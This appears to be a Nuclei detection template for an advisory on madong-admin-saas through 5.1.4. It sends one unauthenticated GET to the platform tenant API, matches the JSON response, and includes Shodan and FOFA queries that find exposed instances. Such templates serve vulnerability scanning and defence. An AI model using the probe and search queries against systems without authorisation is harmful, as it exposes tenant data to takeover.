id: CVE-2026-120446

info:
  name: madong-admin-saas <= 5.1.4 - Unauthenticated Platform Tenant Management Access
  author: maulanawirawan
  severity: high
  description: |
    madong-admin-saas <= 5.1.4 contains a broken authentication caused by 'platformapi' middleware key mismatch in platform tenant management API, letting unauthenticated remote attackers manage tenants and subscription plans.
  impact: |
    Unauthenticated attackers can list, create, modify, disable, or delete tenants and bind subscription plans, leading to full tenant management compromise.
  remediation: |
    Update to the latest version beyond 5.1.4.
  reference:
    - https://github.com/madong-code/madong-admin-saas/issues/2
    - https://github.com/madong-code/madong-admin-saas/commit/2a199a1523ed749c94b876bc2ae5fedf252b2e39
    - https://www.vulncheck.com/advisories/madong-admin-saas-through-5.1.4-missing-authentication-via-platform-tenant-management-api
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120446
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.8
    cve-id: CVE-2026-120446
    epss-score: 0.01045
    epss-percentile: 0.64403
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: madong-code
    product: madong-admin-saas
    shodan-query: http.favicon.hash:1349700189
    fofa-query: icon_hash="1349700189"
  tags: cve,cve2026,madong,unauth,missing-auth,tenant

http:
  - raw:
      - |
        GET /platformapi/tenant/account HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"code\":0", "\"msg\":\"ok\"", "\"items\":", "\"total\":")'
          - 'contains_any(body, "\"effective_mode\"", "\"database_mode\"", "\"db_setting_id\"", "\"items\":[],\"total\":0")'
        condition: and
# digest: 4b0a00483046022100ac3b5225eb183edd058844eb3096d2b86b9b8ea32870cd553b81c11543077057022100c84ed23d96115a94989b066e95aa096ebe0a14520495125043d5beb9c0003e7b:922c64590222798bb761d5b6d8e72950